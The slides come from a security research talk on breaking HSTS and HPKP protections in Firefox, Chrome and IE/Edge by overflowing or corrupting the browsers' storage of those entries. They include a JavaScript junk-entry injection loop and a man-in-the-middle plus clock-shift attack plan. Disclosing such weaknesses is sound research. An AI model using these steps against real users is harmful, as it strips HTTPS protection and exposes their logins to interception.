Breaking Out HSTS (and HPKP) on Firefox, IE/Edge and (Possibly) Chrome.
Sheila Ayelen Berta
Security Researcher
ElevenPaths
(Telefonica Digital cyber security unit)
22 years old - 🇦🇷

Sergio De Los Santos
Head of Innovation and Lab
ElevenPaths
(Telefonica Digital cyber security unit)
N/A :p - 🇪🇸
HTTP://www.example.com/login
Username: John / Password: 1234
HTTPS://www.example.com/login
Username: John / Password: 1234
SSLSTRIP

HTTP Strict Transport Security (HSTS)

COMMON ATTACKS

ROGUE CERTIFICATES

HTTP Public Key Pinning (HPKP)

SOLUTIONS?
# HSTS – First time requests

<table>
<thead>
<tr>
<th>Status</th>
<th>Met...</th>
<th>File</th>
<th>Domain</th>
<th>Cause</th>
<th>T...</th>
<th>Trans...</th>
<th>Size</th>
<th>0 ms</th>
<th>1.37 min</th>
<th>2.73 min</th>
</tr>
</thead>
<tbody>
<tr>
<td>302</td>
<td>GET</td>
<td>/</td>
<td><a href="http://www.netflix.com/document">www.netflix.com/document</a></td>
<td>html</td>
<td>18.45 KB</td>
<td>53.55 KB</td>
<td>833 ms</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>302</td>
<td>GET</td>
<td>/</td>
<td><a href="http://www.netflix.com/document">www.netflix.com/document</a></td>
<td>html</td>
<td>18.45 KB</td>
<td>53.55 KB</td>
<td>1457 ms</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>200</td>
<td>GET</td>
<td>/ar-en/</td>
<td><a href="http://www.netflix.com/document">www.netflix.com/document</a></td>
<td>html</td>
<td>18.45 KB</td>
<td>53.55 KB</td>
<td>634 ms</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>200</td>
<td>GET</td>
<td>WebsiteDetect?source=...</td>
<td><a href="http://www.netflix.com/stylesheet">www.netflix.com/stylesheet</a></td>
<td>plain</td>
<td>0 B</td>
<td></td>
<td>361 ms</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>200</td>
<td>GET</td>
<td>none</td>
<td>codex.nfxfe.com/styleheet.css</td>
<td>css</td>
<td>16.47 KB</td>
<td>109.22 KB</td>
<td>1968 ms</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>200</td>
<td>GET</td>
<td>AR-en-20171016-pop_...</td>
<td>assets.nfxfe.com/img</td>
<td>jpeg</td>
<td>311.94 KB</td>
<td>311.94 KB</td>
<td>1333 ms</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>200</td>
<td>GET</td>
<td>asset_cancelanytime_...</td>
<td>assets.nfxfe.com/img</td>
<td>jpeg</td>
<td>169.43 KB</td>
<td>169.43 KB</td>
<td>1144 ms</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>200</td>
<td>GET</td>
<td>asset_TV_UI.png</td>
<td>assets.nfxfe.com/img</td>
<td>jpeg</td>
<td>242.00 KB</td>
<td>242.00 KB</td>
<td>1343 ms</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>200</td>
<td>GET</td>
<td>asset_mobile_tablet...</td>
<td>assets.nfxfe.com/img</td>
<td>jpeg</td>
<td>119.37 KB</td>
<td>119.37 KB</td>
<td>852 ms</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Request URL:** http://www.netflix.com/
- **Request method:** GET
- **Remote address:** 52.86.14.136:80
- **Status code:** 302
- **Location:** https://www.netflix.com/
- **Set-Cookie:** cSharedContext-826e00e2-494c-... Path:/ Doma
- **Strict-Transport-Security:** max-age=31536000
- **Vicc 1.14-07ba55-35c6-335a7-... (us-vast-1)
HSTS – HTTP requests after HSTS header is setted

There is not a first HTTP (unsecure) request. SSLstrip has nothing to intercept, it won’t work.
HPKP – Certificate Pinning

```
pin-sha256="WoiWRYlOVNa9ihaBciRSC7XHjliYS9VwUGOlud4PB18=",(pin-sha256="RRM1dGqnDFsCJXBTHky16vi1obOlCgFFn/yOhI/y+ho=");
```

![Certificate Viewer for github.com](image)

DigiCert High Assurance EV Root CA
- DigiCert SHA2 Extended Validation Server CA
github.com

@unapibageek - @ssantosv
HPKP – Certificate Pinning

[Image: Browser showing a security error]

Your connection is not private

Attackers might be trying to steal your information from test.cloudpinning.com (for example, passwords, messages, or credit cards).

err_SSL_PINNED_KEY_NOT_IN_CERT_CHAIN

This page is insecure (broken HTTPS).

Certificate Error

There are issues with the site's certificate chain (net:ERR_SSL_PINNED_KEY_NOT_IN_CERT_CHAIN).

@unapibageek - @ssantosv
Attacking HSTS (and HPKP) browsers implementation
<table>
<thead>
<tr>
<th>Domain</th>
<th>HSTS/HPKP</th>
<th>Score</th>
<th>Date</th>
<th>Time</th>
<th>SecurityProperty</th>
<th>Subdomains</th>
<th>Pins</th>
</tr>
</thead>
<tbody>
<tr>
<td>aurora-1.web.telegram.org</td>
<td>HSTS</td>
<td>0</td>
<td>Fri Sep 29</td>
<td>Tue, 01 May 2017</td>
<td>SecurityPropertySet</td>
<td></td>
<td></td>
</tr>
<tr>
<td>aus5.mozilla.org</td>
<td>HSTS</td>
<td>3</td>
<td>Fri Sep 29</td>
<td>Tue, 30 Oct 2018</td>
<td>SecurityPropertySet</td>
<td></td>
<td></td>
</tr>
<tr>
<td>caps.twitter.com</td>
<td>HSTS</td>
<td>1</td>
<td>Thu Sep 28</td>
<td>Thu, 29 Oct 2017</td>
<td>SecurityPropertySet</td>
<td></td>
<td></td>
</tr>
<tr>
<td>cdn.syndication.twimg.com</td>
<td>HSTS</td>
<td>1</td>
<td>Thu Sep 28</td>
<td>Thu, 29 Oct 2017</td>
<td>SecurityPropertySet</td>
<td></td>
<td></td>
</tr>
<tr>
<td>collector.githubapp.com</td>
<td>HSTS</td>
<td>1</td>
<td>Fri Sep 29</td>
<td>Tue, 30 Oct 2018</td>
<td>SecurityPropertySet</td>
<td></td>
<td></td>
</tr>
<tr>
<td>config.edge.skype.com</td>
<td>HPKP</td>
<td>2</td>
<td>Fri Sep 29</td>
<td>Mon, 05 Mar 2018</td>
<td>SecurityPropertySet</td>
<td>includeSubdomains</td>
<td></td>
</tr>
<tr>
<td>connect.facebook.net</td>
<td>HSTS</td>
<td>4</td>
<td>Fri Sep 29</td>
<td>Sat, 28 Apr 2018</td>
<td>SecurityPropertySet</td>
<td>includeSubdomains</td>
<td></td>
</tr>
</tbody>
</table>
The curious thing...

<table>
<thead>
<tr>
<th>URL</th>
<th>HSTS</th>
<th>value</th>
<th>value</th>
<th>value</th>
<th>value</th>
<th>value</th>
</tr>
</thead>
<tbody>
<tr>
<td>fbsbx.com</td>
<td>HSTS</td>
<td>2</td>
<td>17469</td>
<td>1540908675305</td>
<td>1,1,2</td>
<td></td>
</tr>
<tr>
<td>dmx.districtm.io</td>
<td>HSTS</td>
<td>0</td>
<td>17466</td>
<td>1540677790191</td>
<td>1,1,2</td>
<td></td>
</tr>
<tr>
<td>storage-br-50.sharefile.com</td>
<td>HSTS</td>
<td>0</td>
<td>17466</td>
<td>1525111698179</td>
<td>1,1,2</td>
<td></td>
</tr>
<tr>
<td>s1-officeapps-15.cdn.office.net</td>
<td>HSTS</td>
<td>1</td>
<td>17469</td>
<td>1540902537823</td>
<td>1,0,2</td>
<td></td>
</tr>
<tr>
<td>s1-powerpoint-15.cdn.office.net</td>
<td>HSTS</td>
<td>0</td>
<td>17464</td>
<td>1540427677357</td>
<td>1,0,2</td>
<td></td>
</tr>
<tr>
<td>syndication.twitter.com</td>
<td>HSTS</td>
<td>4</td>
<td>17469</td>
<td>2140511278329</td>
<td>1,0,2</td>
<td></td>
</tr>
<tr>
<td>elevenpaths.com</td>
<td>HSTS</td>
<td>1</td>
<td>17469</td>
<td>1540908759079</td>
<td>1,0,2</td>
<td></td>
</tr>
<tr>
<td>web.telegram.org</td>
<td>HSTS</td>
<td>1</td>
<td>17469</td>
<td>1540908681503</td>
<td>1,1,2</td>
<td></td>
</tr>
<tr>
<td><a href="http://www.linkedin.com">www.linkedin.com</a></td>
<td>HSTS</td>
<td>2</td>
<td>17469</td>
<td>1511920946021</td>
<td>1,0,2</td>
<td></td>
</tr>
<tr>
<td>normandy.cdn.mozilla.net</td>
<td>HSTS</td>
<td>2</td>
<td>17469</td>
<td>1540902440025</td>
<td>1,1,2</td>
<td></td>
</tr>
<tr>
<td>5376329.fls.doubleclick.net</td>
<td>HSTS</td>
<td>0</td>
<td>17469</td>
<td>1509389842180</td>
<td>1,0,2</td>
<td></td>
</tr>
<tr>
<td>normandy.cdn.mozilla.net</td>
<td>HPKP</td>
<td>2</td>
<td>17469</td>
<td>1509452840027</td>
<td>1,0,2</td>
<td></td>
</tr>
<tr>
<td>WoiWRYIOVNa9ihaBciRSC7XHjllYS9VvUGOIud4PB18=r/mIkG3eEpVdm+u/ko/cwxz0MolbK4TyHIIByibiA5E=YLh1dUR9y6Kja30RrAn7JKnbQ0/uEtLMkBgFF2Fu hgs=SRhidiwkgakib1PlgxX8HfszLD+7/gTfNvuAybgLPNis=</td>
<td>connect.facebook.net</td>
<td>HSTS</td>
<td>4</td>
<td>17469</td>
<td>1524924743876</td>
<td>1,1,2</td>
</tr>
<tr>
<td>analytics.twitter.com</td>
<td>HSTS</td>
<td>4</td>
<td>17469</td>
<td>2140511192949</td>
<td>1,0,2</td>
<td></td>
</tr>
<tr>
<td><a href="http://www.youtube.com">www.youtube.com</a></td>
<td>HSTS</td>
<td>4</td>
<td>17469</td>
<td>1540865609527</td>
<td>1,0,2</td>
<td></td>
</tr>
</tbody>
</table>

1024 ENTRIES AS MAXIMUM

@unapibageek - @ssantosv
So... What happens if we try to fill up those 1024 entries with junk entries?
<script type="text/javascript">
for (var c = 1; c <= 1500; c++) {
    if(true) {
        var http = new XMLHttpRequest();
        var url = "https://\"+c\".cloudpinning.com/headers.php";
        var params = "max-age-hsts=884734576728&include-subdomains-hsts=True&preload-hsts=True&submit=all";
        http.open("POST", url, true);
        http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        http.onreadystatechange = function() {
            if(http.readyState == 4 && http.status == 200) {
                //alert(http.responseText);
            }
        }
        http.send(params);
    }
}
</script>
Why not **all** the entries has been overwritten?

FF’s SCORE
mozilla-central/security-manager/ssl/DataStorage.cpp

```cpp
DataStorageTable & table = GetTableForType(sType, sProofOfLock);
if (table.Count() >= sMaxDataEntries) {
    KeyAndEntry toEvict;
    // If all entries have score sMaxScore, this won't actually remove
    // anything. This will never happen, however, because having that high
    // score is very unlikely.
```
Attack improvement… defeating FF’s score system

JUNK HSTS ENTRIES INJECTION
SCORE = 0

DELOREAN +1 DAY
SCORE = 1

JUNK HSTS ENTRIES INJECTION
SCORE = 2

...
**FF’s highlights – Cons:**

- **Attack might be a little complex to achieve:** MITM + DELOREAN + HSTS Injection.

- **We need time enough inside the target’s network.** (It may be some hours).

  *Internal Pentests, Hotels… are the best scenarios ;)*
FF’s highlights - Pros:

- Attack effectiveness.

**REAL ENTRY – SCORE = 0**

**NEW ENTRY – SCORE = 0**

**JUNK ENTRY – SCORE = 2**

**JUNK ENTRY – SCORE = 2**

**JUNK ENTRY – SCORE = 2**

**JUNK ENTRY – SCORE = 2**
<table>
<thead>
<tr>
<th>Domain</th>
<th>HSTS/HPKP</th>
<th>Date</th>
<th>Expiration Time</th>
<th>Mode</th>
<th>Subdomains</th>
<th>HPKP Pins</th>
<th>Report URI</th>
</tr>
</thead>
<tbody>
<tr>
<td>login.live.com</td>
<td>HSTS</td>
<td>Wed, 04 Oct 2017 17:04:37 GMT</td>
<td>Thu, 04 Oct 2018 17:04:37 GMT</td>
<td>force-https</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>outlook.live.com</td>
<td>HSTS</td>
<td>Wed, 04 Oct 2017 17:04:25 GMT</td>
<td>Thu, 04 Oct 2018 17:04:25 GMT</td>
<td>force-https</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>pbs.twimg.com</td>
<td>HSTS</td>
<td>Sat, 04 Nov 2017 21:00:14 GMT</td>
<td>Sun, 04 Nov 2018 21:00:14 GMT</td>
<td>force-https</td>
<td>includeSubdomains</td>
<td>-</td>
<td>-</td>
</tr>
</tbody>
</table>
The curious thing...

NO STORAGE LIMITS
So... What happens if we try to fill up the database with thousands and thousands of laaaaarge junk entries?
Chrome highlights:

• Attack is very easy to achieve and you can try it in different ways. (WiFi Portal / MITM attack / etc).

• Chrome stops working properly in a few minutes.

• User is forced to clear browsing data in Chrome and therefore the TransportSecurity file starts over again = HSTS/HPKP broken ;)

@unapibageek - @ssantosv
<table>
<thead>
<tr>
<th>EntryId</th>
<th>MinimizedRDomainHash</th>
<th>MinimizedRDomainLength</th>
<th>IncludeSubdomains</th>
<th>Expires</th>
<th>LastTimeUsed</th>
<th>RDomain</th>
<th>RDomainLength</th>
</tr>
</thead>
<tbody>
<tr>
<td>10022</td>
<td>487878451283692123</td>
<td>9</td>
<td></td>
<td>05/05/1829 11:50:03</td>
<td>29/05/2017 11:01:09</td>
<td></td>
<td></td>
</tr>
<tr>
<td>26074</td>
<td>5910555715012728667</td>
<td>12</td>
<td></td>
<td>05/05/1829 11:50:03</td>
<td>14/12/2017 3:57:01</td>
<td></td>
<td></td>
</tr>
<tr>
<td>26079</td>
<td>730144501395549019</td>
<td>9</td>
<td></td>
<td>05/05/1829 11:50:03</td>
<td>17/06/2017 5:11:46</td>
<td></td>
<td></td>
</tr>
<tr>
<td>26080</td>
<td>730144501395549019</td>
<td>9</td>
<td></td>
<td>05/05/1829 11:50:03</td>
<td>17/06/2018 5:11:49</td>
<td></td>
<td></td>
</tr>
<tr>
<td>26085</td>
<td>470551930597956571</td>
<td>12</td>
<td></td>
<td>05/05/1829 11:50:03</td>
<td>17/06/2017 5:11:46</td>
<td></td>
<td></td>
</tr>
<tr>
<td>42133</td>
<td>4868819453617564507</td>
<td>9</td>
<td></td>
<td>05/05/1829 11:50:03</td>
<td>17/06/2018 5:11:49</td>
<td></td>
<td></td>
</tr>
<tr>
<td>26076</td>
<td>252541246616421211</td>
<td>9</td>
<td></td>
<td>05/05/1829 11:50:03</td>
<td>17/06/2018 5:11:49</td>
<td></td>
<td></td>
</tr>
<tr>
<td>26077</td>
<td>6309426421137864167</td>
<td>11</td>
<td></td>
<td>05/05/1829 11:50:03</td>
<td>17/06/2018 5:11:49</td>
<td></td>
<td></td>
</tr>
<tr>
<td>26078</td>
<td>6309426421137864167</td>
<td>11</td>
<td></td>
<td>05/05/1829 11:50:03</td>
<td>17/06/2018 5:11:49</td>
<td></td>
<td></td>
</tr>
<tr>
<td>42134</td>
<td>220466402120603835</td>
<td>9</td>
<td></td>
<td>05/05/1829 11:50:03</td>
<td>17/06/2018 5:11:49</td>
<td></td>
<td></td>
</tr>
<tr>
<td>42135</td>
<td>730144501395549019</td>
<td>9</td>
<td></td>
<td>05/05/1829 11:50:03</td>
<td>17/06/2018 5:11:49</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

*I FIND YOUR LACK OF DOCUMENTATION DISTURBING*
The curious thing:

<table>
<thead>
<tr>
<th>Name / Path</th>
<th>Protocol</th>
<th>Method</th>
<th>Result / Description</th>
<th>Content type</th>
<th>Receive</th>
</tr>
</thead>
<tbody>
<tr>
<td>headers.php</td>
<td>HTTPS</td>
<td>POST</td>
<td>200 OK</td>
<td>text/html</td>
<td></td>
</tr>
<tr>
<td>headers.php</td>
<td>HTTPS</td>
<td>POST</td>
<td>200 OK</td>
<td>text/html</td>
<td></td>
</tr>
<tr>
<td>headers.php</td>
<td>HTTPS</td>
<td>POST</td>
<td>200 OK</td>
<td>text/html</td>
<td></td>
</tr>
<tr>
<td>headers.php</td>
<td>HTTPS</td>
<td>POST</td>
<td>200 OK</td>
<td>text/html</td>
<td></td>
</tr>
</tbody>
</table>

- **Strict-Transport-Security**: max-age=1234; includeSubDomains; preload

The date is highlighted: **25/11/2017**
WININET.DLL

HttpIsHostHstsEnabled

CheckHsts()

CheckHstsInternal()

GetHstsEnabled()

IsHostHstsA()

GetHstsEntry()

AddHstsEntry()

UpdateHstsEntry()

SetHstsEntry()
Landing issues...

CheckHsts()
  └── GetHstsEnabled()
      └── CheckHstsInternal()
          └── IsHostHstsA()

IsHostHstsInternal()
  └── ConvertURLtoHTTPS()

SetHstsEntry() (Red Path)
  └── AddHstsEntry() (Red Path)
      └── SaveEntryToStore() (Red Path)
I remember if you visited the website over https or http... but not because of HSTS itself...
IE/Edge highlights:

• Most of the websites will not be remembered as webs protected with HSTS, due to problems in the storage process.

• Browser cache is the one that remembers if you have entered the website over http or https… but not HSTS itself.

• Restarting the browser, the machine or (most effectively) clearing the cache, leaves the user without a real HSTS protection.
Conclusions...

We can tell there is not a strong bet yet for improving this implementations in browsers so...

No one is safe.... 

even with HSTS.
THANK YOU!

Sheila Ayelen Berta
Security Researcher – ElevenPaths
(Telefonica Digital cyber security unit)
@UnaPibaGeek
sheila.berta@11paths.com

Sergio De Los Santos
Head of Research – ElevenPaths
(Telefonica Digital cyber security unit)
@ssantosv
sergio.delossantos@11paths.com